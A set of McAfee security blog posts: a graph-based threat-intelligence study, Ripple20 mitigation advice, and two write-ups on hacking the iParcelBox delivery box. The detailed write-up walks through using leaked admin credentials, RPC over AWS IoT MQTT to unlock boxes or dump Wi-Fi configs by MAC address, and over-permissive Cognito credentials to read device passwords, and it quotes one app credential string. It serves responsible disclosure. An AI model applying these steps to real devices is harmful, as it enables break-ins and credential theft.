  4. Fine-grained Dynamic Update restrictions using GSS-TSIG

The post Seven Windows Wonders – Critical Vulnerabilities in DNS Dynamic Updates appeared first on McAfee Blog.

McAfee ATR Thinks in Graphs

8 March 2021 at 11:00

0. Introduction

John Lambert, a distinguished researcher specializing in threat intelligence at Microsoft, once said these words that changed perspectives: “Defenders think in lists. Attackers think in graphs.” This is true and, while it remains that way, attackers will win most of the time. However, the true power of graphs does not only reside in constructing them, but also in how we build them and what we do with them. For that, we need to reflect upon the nature of the data and how we can use graphs to make sense of it. I presented on this premise at the MITRE ATT&CKcon Power Hour held in January 2021.

At McAfee Advanced Threat Research (ATR), all threat intelligence relating to current campaigns, potential threats, and past and present attacks, is collated and normalized into a single truth, namely a highly redundant, scalable relational database instance, and disseminated into different categories, including but not limited to MITRE ATT&CK techniques involved, tools used, threat actor responsible, and countries and sectors targeted. This information is a subset of the data available in McAfee MVISION Insights. Much can be learned from looking at historical attack data, but how can we piece all this information together to identify new relationships between threats and attacks? We have been collecting and processing data for many years but identifying patterns quickly and making sense of the complete dataset as a whole has proven to be a real challenge.

In our recent efforts, we have embraced the analysis of threat intelligence using graphical representations. One key takeaway is that it is not just about mapping out intelligence about campaigns and threats into graphs; the strength lies in studying our datasets and applying graph algorithms to answer questions about the data.

In this paper, we provide an extensive description of the dataset derived from the threat intelligence we collect. We establish the methodology applied to validate our dataset and build our graphical representations. We then showcase the results obtained from our research journey as defenders thinking in graphs instead of lists.

The first section explains the kind of data we have at our disposal. The second section describes the goal of our research and the kind of questions we want to answer. Sections 3 and 4 establish the methodology used to process our dataset and to validate that we can actually do something useful with it by using graphs. The fifth section describes the process of building graphs, and Section 6 shows how we use these graphs to answer the questions laid out in Section 2. Section 7 introduces an additional research element to add more granularity to our experiment, and Section 8 shares the limitations of our research and potential ways to compensate for them. Sections 9 and 10 conclude this research with some reflections and proposed future work.

Section 1. Dataset

Our dataset consists of threat intelligence, either collected by or shared with our team, is piped into our internal MISP instance and published to relevant stakeholders. This data concerns information about campaigns, crimeware or nation-state attacks that are currently going on in the world, from potential or reoccurring threat (groups). The data is split into multiple categories used to establish everything we know about the four basic questions of what, who, where, and how. For example, certain attacks on countries in the Middle East have been conducted by the group MuddyWater and have targeted multiple companies from the oil and gas and telecom industries, leveraging spear phishing campaigns. The dataset used for this research is a collection of the answers to these four basic questions about each event.

Section 2. Research Goal

The quantity of data we have makes it almost impossible to make sense in one pass. Information is scattered across hundreds of events, in a database that does not necessarily enable us to connect each piece of information we have in relevant patterns. The goal of this research is to create a methodology for us to quickly connect and visualize information, identify patterns in our data that could reveal trends in, for example, actor behaviour or MITRE technique usage. In this paper, we specifically focus on actor trends and MITRE technique usage.

By providing such tooling, we can answer questions about frequency of actors or techniques, popularity of techniques across actors, and patterns of behaviour in technique usage among actors. These questions are laid out as such:

Frequency

  • Which techniques are observed most often?
  • Which actors are the most active?

Popularity

  • Which techniques are the most common across actors?

Patterns

  • Can we identify groups of actors using the same techniques?
  • Are actors using techniques in the same way?

These questions are not exhaustive of everything that can be achieved using this methodology, but they reveal an example of what is possible.

Section 3. Methodology

As we are proposing a way to build graphs to make sense of the data we have, we first need to validate our dataset to make sure graphs will deliver something useful. For that, we need to look at expected density and connectivity of the graph. Should our dataset be too dense and overly connected, building graphs will not result in something that can be made sense of.

After establishing that our dataset is graphable, we can focus on how exactly we will graph it. We need to establish what our nodes are and what defines our edges. In this case, we propose two representations: an event-centric view and actor-centric view, respectively taking events and actors as points of reference.

Once we have built our graphs, we investigate different techniques and algorithms to answer the questions laid out in the previous section. This experiment provides us insights into our data, but also into what we are missing from our data that could give us even more information.

The tooling used for this research is an internal tool referred to as Graph Playground that provides users with the possibility to build client-side undirected graphical visualizations in their browser, based on CSV or JSON files. This software also offers a toolbox with analysis techniques and algorithms to be used on the graphs.

Section 4. Dataset Validation

Before building proper graphical representations, we need to assess whether the dataset is a good fit. There are a few metrics that can indicate that the dataset is not necessarily fit for graphs, one of which being the average number of connections (edges) per node:

This average gives us an approximate indication of how many edges per node we can expect. Another useful metric is graph density, defined as the number of edges divided by the total number of possible edges for an undirected simple graph. This is normally calculated using the following formula:

It is a simple equation, but it can already give great insights as to what the graph is going to look like. A graph with high density might be a super connected graph where every node relates to one another in some way. It can be great for visualisation but will not provide us with anything useful when it comes to identifying patterns or differentiating between the different components of the graph.

Section 5. Building Graphs

Based on the data at hand, one intuitive way to build graphs is using a threat event as a central node and connected nodes that represent MITRE techniques, threat actors, tools, countries, and sectors to that event node.

Figure 1: Graph representation of the data

Figure 1 depicts the initial graphical representation using each event and associated metadata registered in MISP. Relationships between event nodes and other nodes are defined as follows: techniques and tools are used in one event that is attributed to a specific actor and involves a threat or attack on certain countries and sectors.

Based on the representation and our dataset, the number of nodes obtained is |N| = 1,359 and the total number of edges is |E| = 12,327. In our case, because only event nodes are connected to other nodes, if we want to check for the average number of edges per node, we need to look specifically at event nodes. In the obtained graph g, this average is equal to:

To calculate the density, we also need to account for the fact that only event nodes have connections. The density of the obtained graph g is then equal to:

Density always results in a number between 0 and 1. With an average of 18 edges per event node and a graph density of 0.053, we can expect the resulting graph to be relatively sparse.

Figure 2: Full representation of 705 MISP events

The full graph obtained with this representation in Figure 2, against our predictions, looks much denser than expected. It has an obvious central cluster that is busy with nodes that are highly interconnected, consisting mostly of event and technique nodes. In Figure 3, we discard MITRE technique nodes, leaving event, country, sector, and tool nodes, to demonstrate where the low-density calculation comes from.

Figure 3: Representation without MITRE technique nodes

Removing MITRE technique nodes results in a much less dense graph. This may be an indication that some event and technique nodes are highly interconnected, meaning there may be a lot of overlap between events and techniques used.

Figure 4: Representation with only event and MITRE technique nodes

Figure 4 proves this statement by showing us a large cluster of interconnected event and technique nodes. There is a set of events that all appear to be using the same technique. It would be interesting to isolate this cluster and take note of exactly which techniques these are, but this research takes us down another road.

Based on the data we have, which mostly consists of events relating to crimeware, we choose to disregard country and sector information in our graphical analyses. This is because these campaigns are most often sector and country-agnostic, based on historical observation. Therefore, we proceed without country and sector data. This allows us to perform some noise reduction, keeping events as points of reference.

We can also take this a step further and collapse event nodes to switch the focus to actor nodes with regard to tools and MITRE techniques used. This results in two different representations derived from the original graph.

Section 5.1 Event-centric View

Removing country and sector nodes, we are left with event nodes connected to actor, technique, and tool nodes. Figure 5 illustrates this representation.

Figure 5: Representation without country and sector nodes

This resulting representation is an event-centric view, and it can help us answer specific questions about frequency of actors involved, techniques or tools used during recorded attacks and campaigns.

Figure 6: Event-centric view

The graph in Figure 6 is very similar to the original one in Figure 2, but the noise that is not of real interest at this stage has been removed, so that we can really focus on events regarding actors, techniques, and tools.

Section 5.2 Actor-centric View

Another possible representation, because the data we have about countries and sectors is very sparse, is to center the graph around actor nodes, connected to techniques and tools.

Figure 7: Collapsed presentation of actors, techniques, and tools

Figure 7 establishes the relationship between the three remaining nodes: actor, technique, and tools. The resulting graph is displayed in Figure 8.

Figure 8: Actor-centric view

These two ways to build graphs based on our data provide an event-centric view and an actor-centric view and can be used to answer different questions about the gathered intelligence.

Section 6. Using the Graphs

Based on the two generated views for our data, we demonstrate how certain algorithms and graph-related techniques can be used to answer the questions posed in Section 2. Each view provides insights on frequency, popularity, or pattern questions.

Section 6.1 Frequency Analysis

Which techniques are observed most often?

To answer questions about the frequency of techniques used, we need to take the event-centric view, because we are directly addressing how often we have observed techniques being used. Therefore, we take this view and look at the degree of nodes in the graph. Nodes with a high degree are nodes with more connections. A MITRE technique node with a very high degree is a node that is connected to a high number of events.

Figure 9: Degree analysis on the event-centric view with a focus on techniques

Figure 9 shows us the application of degree analysis on the event-centric view, revealing techniques like Spearphishing Attachment and Obfuscated Files or Information as the most often observed techniques.

Which actors are the most active?

The same degree analysis can be used on this view to identify which actors have most often been recorded.

Figure 10: Degree analysis on the event-centric view with a focus on actors

Based on the results displayed in Figure 10, Sofacy, Lazarus Group, and COVELLITE are the most recorded actors across our data.

Section 6.2 Popularity Analysis

Which techniques are the most common across actors?

To answer questions about popularity of techniques across actors, we need to look at the actor-centric view, because it will show us how techniques and actors relate to one another. While degree analysis would also work, we can make use of centrality algorithms that measure how much control a certain node has over a network, or in other terms: how popular a certain node is.

Figure 11: Centrality algorithm used on the actor-centric view

Running centrality algorithms on the graph shows us that Obfuscated Files or Information and User Execution are two of the most popular techniques observed across actors.

6.3 Patterns Identification

Can we identify groups of actors using the same techniques?

The keyword here is groups of actors, which insinuates that we are looking for clusters. To identify groups of actors who use the same techniques, we can attempt to use clustering algorithms to isolate actors who behave the same way. We need to apply these algorithms on the actor-centric view. However, we also see that our actor-centric view in Figure 8 has quite a dense bundle of nodes, and this could make the building of clusters more difficult.

Figure 12: Clustering algorithm used on the actor-centric view

Louvain Clustering is a community detection technique that builds clusters based on edge density; Figure 12 shows us the results of running this algorithm. We see that it was possible to build some clusters, with a clear distinction between the orange cluster and the bundle of nodes, but it is not possible to verify how accurate our clusters are, because of the density of the subgraph where all the nodes seem to be interconnected.

We can draw two conclusions from this:

  1. A lot of actors use the same techniques.
  2. We need to introduce additional information if we want to dismember the dense bundle of nodes.

This takes us to the last important question:

Are actors using techniques in the same way?

With the information currently at our disposal, we cannot really assess whether a technique was used in the same way. It would be ideal to specify how an actor used a certain technique and encode that into our graphs. In the next section, we introduce an additional element to hopefully provide more granularity so we can better differentiate actors.

Section 7. Introducing Killchain Information

To provide more granularity and hopefully answer the question about actors using techniques in the same way, we embed killchain step information into our graphs. A certain attack can be used for multiple killchain steps. We believe that adding killchain step information to specify where an attack is used can help us better differentiate between actors.

Figure 13: Representation that introduces a killchain step node

This is a slight modification that occurs on our actor-centric view. The resulting graph should provide us with more granularity with regards to how a technique, that is present at multiple steps, was really used.

Figure 14: Actor-centric view with killchain information

The resulting graph displayed in Figure 14 is, for lack of a better word, disappointing. That is because killchain step information has not provided us with more granularity, which in turn is because of our dataset. Unfortunately, MISP does not let users specify when a technique is used in one specific step of the killchain, if that technique can occur in multiple steps. When recording an observed MITRE technique that can occur in multiple steps, all steps will be recorded with that technique.

Section 8. Limitations

MISP provides granularity in terms of MITRE sub-techniques, but there is no built-in differentiation on the killchain steps. It is not yet possible to specify exactly at which step a technique present in multiple steps is used. This removes a certain level of granularity that could be useful in the actor-centric view to differentiate even more between actors. If such differentiation existed, the actor-centric view could be collapsed into:

Additionally, based on the data at hand, it is clear that actors tend to use the same techniques overall. The question of whether using MITRE techniques to differentiate between actors is actually useful then comes to mind. Perhaps it can be used to discard some noticeably different actors, but not most?

Limitations of our research also lie in the tooling used. The Graph Playground is great for quick analyses, but more extensive manipulations and work would require a more malleable engine.

Lastly, our research focused on MISP events, threat actors, and MITRE techniques. While most questions about frequency, popularity, and pattern recognition can be answered the same way for tools, and even country and sector, the list of what is achievable with graphs is definitely not exhaustive.

Section 9. Conclusion

Building graphs the right way helps us visualize our large dataset almost instantly, and it helps us make sense of the data we see. In our case, right means the way that is most relevant to our purpose. By having sensical and relevant representations, we can connect cyber threats, campaigns, and attacks to threat actors involved, MITRE techniques used, and more.

Graphical representations are not just about piping all our data into one visualization. We need to think of how we should build our graphs to get the most out of them, while attempting to maintain satisfactory performance when scaling those graphs. Graphs with thousands of nodes often take long to render, depending on the visualization engine. The Graph Playground generates graphs from a file on the client-side, in the browser. This makes the generation incredibly fast.

Certain aspects of our research require an event-centric view, while others may, for example, require an actor-centric view. We also need to assess whether building graphs is useful in the first place. Highly dense and connected data will result in graphs that cannot be used for anything particularly interesting for our analyses of threat intelligence.

Our research has proven fruitful in the sense that much can be gained from translating our dataset to adequate representations. However, we lack a certain granularity-level that could help us differentiate between certain aspects of our data even more.

To add to John Lambert’s quote, “Defenders think in lists. Attackers think in graphs. And Threat Intelligence analysts build proper graphs and exhaustively use them.

Section 10. Future Work

As mentioned, we have encountered a granularity issue that is worth looking into for future research. It would be interesting to consider incorporating analysis results from EDR engines, to isolate where a specific MITRE ATT&CK technique was used. This would provide much deeper insights and potentially even more data we can include in our visualizations. Should we succeed and process this information into our graphs, we would be able to better differentiate between actors that otherwise seem to behave the same.

We can also shift our perspective and include country and sector information but, for that, we need to exclude all crimeware-related events that are sector or country-agnostic and include only campaigns that have specific targets. Only then will such representation be useful for further analysis.

Another point worth mentioning for future work would be to consider incorporating additional resources. The Intezer OST Map, which is open source, provides insights on tools used by threat actors for well-known campaigns. It would be interesting to merge the Intezer dataset with our own and experiment with our graph representations based on this new dataset.

The post McAfee ATR Thinks in Graphs appeared first on McAfee Blog.

Ripple20 Vulnerability Mitigation Best Practices

22 June 2020 at 22:32

On June 16th, the Department of Homeland Security and CISA ICS-CERT issued a critical security advisory warning covering multiple newly discovered vulnerabilities affecting Internet-connected devices manufactured by multiple vendors. This set of 19 vulnerabilities in a low-level TCP/IP software library developed by Treck has been dubbed “Ripple20” by researchers from JSOF.

A networking stack is a software component that provides network connectivity over the standard internet protocols. In this specific case these protocols include ARP, IP (versions 4 and 6), ICMPv4, UDP and TCP communications protocols, as well as the DNS and DHCP application protocols. The Treck networking stack is used across a broad range of industries (medical, government, academia, utilities, etc.), from a broad range of device manufacturers – a fact which enhances their impact and scope, as each manufacturer needs to push an update for their devices independently of all others. In other words, the impact ripples out across the industry due to complexities in the supply and design chains.

Identifying vulnerable devices on your network is a crucial step in assessing the risk of Ripple20 to your organization. While a simple Shodan search for “treck” shows approximately 1000 devices, which are highly likely to be internet-facing vulnerable devices, this represents only a fraction of the impacted devices. Identification of the Treck networking stack vs. other networking stacks (such as the native Linux or Windows stacks) requires detailed analysis and fingerprinting techniques based on the results of network scans of the devices in question.

The impact of these vulnerabilities ranges from denial of service to full remote code exploitation over the internet, with at least one case not requiring any authentication (CVE-2020-11901). JSOF researchers identified that these vulnerabilities impact a combination of traditional and IoT devices. Customers should review advisories from vendors such as Intel and HP because non-IoT devices may be running firmware that makes use of the Treck networking stack.

Ripple20’s most significant impact is to devices whose network stack is exposed (in general IoT devices incorporating the Treck network stack) as compared to devices that incorporate the stack that it is only exposed to the local device. We recommend that you audit all network-enabled devices to determine if they are susceptible to these vulnerabilities.

There are potentially tens of millions of devices that are vulnerable to at least one of the Ripple20 flaws. Mitigating impact requires attention from both device owners and device vendors.

Mitigations for users of vulnerable devices per CISA recommendations (where possible): 

  • Patch any device for which a vendor has released an update.
  • Practice the principle of least privilege for all users and devices (devices and users should only have access to the set of capabilities needed to accomplish their job). In this case, minimize network exposure and internet-accessibility for all control system devices.
  • Locate control system networks and remote devices behind firewalls and isolate them from the business network.
  • When remote access is required, use secure methods, such as Virtual Private Networks (VPNs), recognizing that VPNs may have vulnerabilities and should be updated to the most current version available. Also recognize that a VPN is only as secure as the connected devices. VPN solutions should use multi-factor authentication.
  • Use caching DNS servers in your organization, prohibiting direct DNS queries to the internet. Ideally, caching DNS servers should utilize DNS-over-HTTPS for lookups.
  • Block anomalous IP traffic by utilizing a combination of firewalls and intrusion prevention systems.

Where Can I Go to Get More Information?

Please review KB93020 for more information and subscribe for updates.

The post Ripple20 Vulnerability Mitigation Best Practices appeared first on McAfee Blog.

What’s in the Box? Part II: Hacking the iParcelBox

18 June 2020 at 07:01

Package delivery is just one of those things we take for granted these days. This is especially true in the age of Coronavirus, where e-commerce and at-home deliveries make up a growing portion of consumer buying habits.

In 2019, McAfee Advanced Threat Research (ATR) conducted a vulnerability research project on a secure home package delivery product, known as BoxLock. The corresponding blog can be found here and highlights a vulnerability we found in the Bluetooth Low Energy (BLE) configuration used by the device. Ultimately, the flaw allowed us to unlock any BoxLock in Bluetooth range with a standard app from the Apple or Google store.

Shortly after we released this blog, a similar product company based in the UK reached out to the primary researcher (Sam Quinn) here at McAfee ATR, requesting that the team perform research analysis on his product, called the iParcelBox. This device is comprised of a secure steel container with a push-button on the outside, allowing for package couriers to request access to the delivery container with a simple button press, notifying the homeowner via the app and allowing remote open/close functions.

iParcelBox – Secure Package Delivery & iParcelBox App

The researcher was able to take a unique spin on this project by performing OSINT (Open Source Intelligence), which is the practice of using publicly available information, often unintentionally publicized, to compromise a device, system or user. In this case, the primary developer for the product wasn’t practicing secure data hygiene for his online posts, which allowed the researcher to discover information that dramatically shortened what would have been a much more complicated project. He discovered administrative credentials and corresponding internal design and configurations, effectively providing the team access to any and all iParcelBox devices worldwide, including the ability to unlock any device at a whim. All test cases were executed on lab devices owned by the team or approved by iParcelBox. Further details of the entire research process can be found in the full technical version of the research blog here.

The actual internals of the system were well-designed from a security perspective, utilizing concepts like SSL for encryption, disabling hardware debugging, and performing proper authentication checks. Unfortunately, this level of design and security were all undermined by the simple fact that credentials were not properly protected online. Armed with these credentials the researcher was able to extract sensitive certificates, keys, device passwords, and WIFI passwords off any iParcelBox.

Secondly, as the researcher prepared the writeup on the OSINT techniques used for this, he made a further discovery. When analyzing the configuration used by the Android app to interact with the cloud-based IOT framework (AWS-IOT), he found that even without an administrative password, he could leak plaintext temporary credentials to query the AWS database. These credentials had a permission misconfiguration which allowed the researcher to query all the information about any iParcelBox device and to become the primary owner.

In both cases, to target a device, an attacker would need to know the MAC address of the victim’s iParcelBox; however, the iParcelBox MAC addresses appeared to be generated non-randomly and were simple to guess.

A typical research effort for McAfee ATR involves complex hardware analysis, reverse engineering, exploit development and much more. While the developer made some high-level mistakes regarding configuration and data hygiene, we want to take a moment to recognize the level of effort put into both physical and digital security. iParcelBox implemented numerous security concepts that are uncommon for IOT devices and significantly raise the bar for attackers. It’s much easier to fix issues like leaked passwords or basic configuration issues than to rebuild hardware or reprogram software to bolt on security after the fact. This may be why the company was able to fix both issues almost immediately after we informed them in March of 2020. We’re thrilled to see more and more companies of all sizes embracing the security research community and collaborating quickly to improve their products, even from the beginning of the development cycle.

What can be done?

For consumers:

Even developers are subject to the same issues we all have; choosing secure and complex passwords, protecting important credentials, practicing security hygiene, and choosing secure configurations when implementing controls for a device. As always, we encourage you to evaluate the vendor’s approach to security. Do they embrace and encourage vulnerability research on their products? How quick are they to implement fixes and are they done correctly? Nearly every product on the market will have security flaws if you look hard enough, but the way they are handled is arguably more important than the flaws themselves.

For developers and vendors:

This case study should provide a valuable testament to the power of community. Don’t be afraid to engage security researchers and embrace the discovery of vulnerabilities. The more critical the finding, the better! Work with researchers or research companies that practice responsible disclosure, such as McAfee ATR. Additionally, it can be easy to overlook the simple things such as the unintentional leak of critical data found during this project. A security checklist should include both complex and simple steps to ensure the product maintains proper security controls and essential data is protected and periodically audited.

The post What’s in the Box? Part II: Hacking the iParcelBox appeared first on McAfee Blog.

My Adventures Hacking the iParcelBox

By: Sam Quinn
18 June 2020 at 07:01

In 2019, McAfee Advanced Threat Research (ATR) disclosed a vulnerability in a product called BoxLock. Sometime after this, the CEO of iParcelBox, a U.K. company, reached out to us and offered to send a few of their products to test. While this isn’t the typical M.O. for our research we applaud the company for being proactive in their security efforts and so, as the team over at iParcelBox were kind enough to get everything shipped over to us, we decided to take a look.

The iParcelBox is a large steel box that package couriers, neighbors, etc. can access to retrieve or deliver items securely without needing to enter your home. The iParcelBox has a single button on it that when pushed will notify the owner that someone wants to place an object inside. The owner will get an “open” request push notification on their mobile device, which they can either accept or deny.

The iParcelBox (Photo Credit: iparcelbox.com)

Recon

The first thing we noticed about this device is the simplicity of it. In the mindset of an attacker, we are always looking at a wide variety of attack vectors. This device only has three external vectors: remote cloud APIs, WIFI, and a single physical button.

iParcelBox Delivery Button (Photo Credit: iparcelbox.com)

During setup the iParcelBox creates a WIFI access point for the mobile application to connect with and send setup information. Each iParcelBox has a unique randomly generated 16-character WiFi password that makes brute forcing the WPA2 key out of the question; additionally, this Access Point is only available when the iParcelBox is in setup mode. The iParcelBox can be placed into setup mode by holding the button down but it will warn the owner via a notification and will only remain in setup mode for a few minutes before returning to normal operation.

iParcelBox Random WiFi Access Point Password (16 Characters)

Since we have the WiFi password for the iParcelBox in our lab, we connected to the device to see what we could glean from the webserver. The device was only listening on port 443, meaning that the traffic between the application and iParcelBox was most likely encrypted, which we later verified. This pointed us to the Android app to try to decipher what type of messages were being sent to the iParcelBox during setup.

iParcelBox Port Scan

Using dex2jar we were able to disassemble the APK file and look at the code within the app. We noticed quickly that the iParcelBox was using MQTT (MQ Telemetry Transport) for passing messages back and forth between the iParcelBox and the cloud. MQTT is a publish/subscribe message protocol where devices can subscribe to “topics” and receive messages. A simple description can be found here: (https://youtu.be/EIxdz-2rhLs)

Dex2Jar Command

A typical next step is to retrieve the firmware for the device, so we started to look through the disassembled APK code for interesting URLs. While we didn’t find any direct firmware links, we were able to find some useful information.

Disassembled Code pulled from APK

The code snipped above shows a few interesting points, including the string “config.iparcelbox.com” as well as the line with “app” and “TBpwkjoU68M”. We thought that this could be credentials for an app user passed to the iParcelBox during setup; however, we’ll come back to this later. The URL didn’t resolve on the internet, but when connecting to the iParcelBox access point and doing a Dig query we were able to see that it resolves to the iParcelBox.

DNS Lookup of config.iparcelbox.com

Nothing from the Android app or the webserver on the device popped out to us so we decided to look deeper. One of the most common ways that information about targets can be gathered is by looking through user forums and seeing if there are others trying to tweak and modify the device. Often with IOT devices, home automation forums have numerous examples of API usage as well as user scripts to interact with such devices. We wanted to see if there was anything like this for the iParcelBox. Our initial search for iParcelBox came up empty, other than some marketing content, but when the search was changed to iParcelBox API, we noticed a few interesting posts.

Google Search for “iparcelbox api”

We could see that even on the first page there are a few bug reports and a couple of user forums for “Mongoose-OS”. After going to the Mongoose-OS forums we could clearly see that one user was a part of the iParcelBox development team. This gave us some insight that the device was running Mongoose-OS on an ESP32 Development board, which is important since an ESP32 device can be flashed with many other types of code. We started to track the user’s posts and were able to discover extensive information about the device and the development decisions throughout the building process. Most importantly this served as a shortcut to many of the remaining analysis techniques.

As mentioned earlier, a high priority is to try to gain access to the device’s firmware by either pulling it from the device directly or by downloading it from the vendor’s site. Pulling firmware is slightly more tedious since you must often solder wires to the flash chip or remove the chip all-together to interface with the flash. Before we began to attempt to pull the firmware from the ESP32, we noticed another post within the forums that mentioned that the flash memory on the device was encrypted.

Post describing flash encryption

With this knowledge, we skipped soldering wires to the ESP32 and didn’t even try to pull the firmware manually since it would have proven difficult to get anything off it. This also gave us insight into the provisioning process and how each device is set up. With this knowledge we started to look for how the OTA updates are downloaded.

Searching around a little longer we were able to find a file upload of a large log file containing what seemed like the iParcelBox boot procedure. Searching through the log we found some highly sensitive data.

Admin Credentials and gh-token from boot log

In the snippet above you can see that the admin credentials are passed as well as the GitHub token. Needless to say, this isn’t good practice, we will see if we can use that later. But in this log, we also found a firmware URL.

Firmware URL from boot log

However, the URL required a username and password.

Firmware.iparcelbox.com .htaccess

We found this forum post where “.htaccess” is set up to prevent unintended access to the firmware download.

.htaccess post

The admin password found earlier didn’t authenticate, so we wanted to get the logs off the device to see if these were old credentials and if we could print the new credentials out to UART.

The internals of the iParcelBox (TX and RX highlighted in red)

The ESP32 RX and TX pins are mapped to the USB-C connection, but if you look at the circuit there is no FTDI (Future Technology Devices International) chip to do processing, so this is just raw serial. We decided to just solder to the vias (Vertical Interconnect Access) highlighted in red above, but still no data was transferred.

Then we started to search those overly helpful forum postings again, and quickly found the reason.

Disable UART

This at least verified that it wasn’t something that we set up incorrectly, but rather that logging was simply disabled over UART.

Method #1 – RPC

From our recon work we pretty much settled on the fact that we were not going to get into the iParcelBox easily from a physical standpoint and decided to switch a network approach. We knew that during setup the iParcelBox creates a wireless AP and that we can connect to it. Armed with our knowledge from the forums we decided to revisit the web server on the iParcelBox. We began by sending some “MOS” (Mongoose-OS) control commands to see what stuck.

Setup instructions for Mongoose-OS can be found here. Instead of installing directly to the OS we did it in Docker for portability.

Docker file used to create mos

Referencing the forums provided several examples of how to use the mos command.

Docker mos commands

The first command returned a promising message that we just need to supply credentials. Remember when we found the boot log earlier? Yep, the admin credentials were posted online, and they actually work!

At this point we had full effective root access to the iParcelBox including access to all the files, JavaScript code, and even more importantly, the AWS certificate and private key.

With the files extracted from the device we noticed that the developers at iParcelBox implemented an Access Control List (ACL). For an IOT device this is uncommon but a good practice.

ACL showing users permissions

The credentials we found earlier in the disassembled Android APK with the username “app” were RPC credentials but with limited permissions to only run Sys.GetInfo, Wifi.Scan, Wifi.PortalSave and Sys.Reboot. Nothing too interesting can be done with those credentials, so for the rest of this method we will stick with the “admin” credentials.

Now that we have the credentials, certificates, and private keys we wanted to try to pivot to other devices. During setup we noticed that the MAC address was labeled “TopicID.”

Setup process linking MAC Address to the TopicID

As we determined earlier, the iParcelBox uses MQTT for brokering the communication between the device, cloud, and mobile application. We were interested to find out if there were any authentication barriers in place, or if all you need is the MAC address of the device to initiate commands remotely.

Since we essentially had root access, enabling logging was a logical next step so we could see what was happening on the device. From one of the Mongoose-OS forums posts we saw that you can enable UDP logging to a local device by changing the configuration on the iParcelBox.

How to enable UDP logging post

We provisioned the iParcelBox, then held the button down until we entered setup mode (where the AP was available), thus reenabling RPC calls. Then we set the “udp_log_addr” to our local machine.

Reenabling Logging on iParcelBox

Now we have logs and much more information. We wanted to test if we could access the MQTT broker and modify other iParcelBoxes. In the logs we were able to validate that the MQTT broker was setup on AWS IOT and was using the certificate and keys that we pulled earlier. We found some Python examples of connecting to the AWS MQTT broker (https://github.com/aws/aws-iot-device-sdk-python) but it assumed it knows the full topic path (e.g. topic_id/command/unlock).

UDP Log file

Parsing through the extracted logs from UDP, we were able to find the format for the “shadow/update” MQTT topic. However, when trying to subscribe to it with the Python script, it seemed to connect to the MQTT broker, but we couldn’t ever get any messages to send or receive. Our best guess is that it was limited to one subscribe per topic or that our code was broken.

We went searching for another way to control devices. This brought us back to the Mongoose-OS forum (seeing a pattern here?). We found this post explaining that the devices can run RPC commands over MQTT.

RPC over MQTT

This would be better for an attacker than only MQTT access, since this gives full access to the device including certificates, keys, user configuration files, WIFI passwords, and more. We could also use RPC to write custom code or custom firmware at this point.  We found the official Mongoose-OS support for this here (https://github.com/mongoose-os-libs/rpc-mqtt), to which they even included an example with AWS IOT.

After plugging that into the “mos” command we were able to run all administrative RPC commands on the device that we pulled the keys from, but also any other device that we knew the MAC address of.

Running RPC commands on multiple ATR lab devices

From looking at the two iParcelBoxes that were sent to us, the MAC addresses are only slightly different and strongly suggest that they are probably generated incrementally.

  • 30AEA4C59D30
  • 30AEA4C59D6C

Theoretically, with the MAC addresses incremental we could have just written a simple script to iterate through each of the iParcelBoxes’ MAC addresses, found any iParcelBox connected to the internet, and controlled or modified them in any way we wanted. However, the most common attack would likely be a more targeted one, where the attacker was looking to steal a package or even a victim’s home WiFi credentials. An attacker could do a simple network scan to find the MAC address of the target iParcelbox using a tool like “airodump-ng”. Then, after the attacker knows the target MAC address, they could use the admin credentials to initiate a “mos” command over MQTT and execute a “GPIO.Toggle” command directed at the GPIO (General Purpose Input Output) pin that controls the locking mechanism on the iParcelBox. A toggle will invert the state, so if the iParcelBox is locked, a GPIO toggle will unlock the box. If the attacker had other motives, they could also initiate a config dump to gain access to the WiFi credentials to which the iParcelBox is connected.

Scanning for iParcelBoxes and Controlling them with RPC

Method #2 – AWS Misconfiguration

While writing this blog we wanted to double check that SSL pinning was done properly. After we saw this post during our recon, we assumed it was pinning a certificate. We set up an Android with a certificate unpinner using Frida.  With the unpinner installed and working we were able to decrypt traffic between the application and the AWS servers, but it failed to decrypt the data from application to the iParcelBox. Please follow this technique if you’d like to learn how you can unpin certificates on Android devices.

Next, we reran the iParcelBox application without the Frida SSL Unpinner, which returned the same AWS server transactions, meaning that pinning wasn’t enabled. We browsed through some of the captures and found some interesting requests.

Cognito Credential SSL Network Capture

The “credentials” in the capture immediately piqued our interest. They are returned by a service called “Cognito”, which is an AWS service allowing apps and users to access resources within the AWS ecosystem for short periods of time and with limited access to private resources.

AWS Cognito example (Photo Credit: Amazon.com)

When an application wants to access an AWS service, it can ask for temporary credentials for the specific task. If the permissions are configured correctly, the credentials issued by the Cognito service will allow the application or user to complete that one task and deny all other uses of the credentials to other services.

To use these credentials, we needed the AWS-CLI interface. Thankfully, Amazon even has a Docker image for AWS-CLI which made things much easier for us. We just saved the credentials returned from the Cognito service inside of a “~/.aws” folder. Then we checked what role these credentials were given.

AWS-CLI docker command

The credentials captured from the Android application were given the “AppAuth_Role”. To find out what the “AppAuth_Role” had access to we then ran a cloud service enumeration using the credentials; the scripts can be found here (https://github.com/NotSoSecure/cloud-service-enum) and are provided by the NotSoSecure team. The AWS script didn’t find any significant security holes and showed that the credentials were properly secured. However, looking at the next few network captures we noticed that these credentials were being used to access the DynamoDB database.

Checking if the user is subscribed to the Premium service

Getting the owner’s devices

After reading through some of the DynamoDB documentation we were able to craft database queries.

DynamoDB Query

Because the “primary key” for the database is the “DeviceID” which we know is just the MAC address of the iParcelBox, we can then modify this query and get any other device’s database entries. While we didn’t test this for ethical reasons, we suspect that we could have used this information to gain access to the MQTT services. We also did not attempt to write to the database since this was a live production database and we didn’t want to corrupt any data.

We investigated the Android application attempting to trigger some more database interactions to see what other queries were being sent, but were limited to the following:

  • Accounts – Shows premium subscription info
  • Owners – Shows devices and guests of each iParcelBox
  • Users – Used to save owners of each iParcelBox (only during setup)

With our self-imposed database write restrictions, none of these tables really helped us anyway. That is when we began looking at the disassembled code of the Android app for more clues. Since we now knew the table names, we searched for “ClientID”, which turned up the Java file “DBConstants.class.”

Constants file from APK

This constants file gave us information that there are more database tables and fields, even though we never saw them in the network traffic. The “TABLE_DEVICES_PASSWORD” caught our eyes from the “iParcelBox_devices” table.

We tested the “AppAuth_Role” credentials on this table as well, which was accepted.

Requesting information from the iParcelBox_devices table

We were able to get the device password and serial number all from the MAC address. Recall the “iParcelBox Setup Information” image at the beginning of the blog and how it mentions that you should keep this information safe. The reason that this information should be kept safe is that you can become the owner of the iParcelBox if you know the MAC address, serial number, and password even without the QR code thanks to the “Add Manually” button.

“Add manually” option during setup

